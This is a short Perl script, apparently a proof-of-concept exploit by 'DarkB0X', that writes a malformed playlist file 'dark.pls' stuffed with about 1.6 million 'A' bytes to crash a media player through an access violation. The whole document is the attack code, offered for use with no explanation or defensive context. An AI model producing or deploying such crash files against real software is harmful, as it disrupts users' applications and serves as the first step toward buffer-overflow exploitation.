#!/usr/bin/perl -w #By DarkB0X #HomePage : http://NullArea.Net #contact : darkb0x97@xxxxxxxxxxxxxx my $file="dark.pls"; $accessviolation = "\x41\x41\x41\x41" x 408973 ; open(my $FILE, ">>$file") or die "Cannot open $file: $!"; print $FILE $accessviolation ; close($FILE); print "$file creation finished";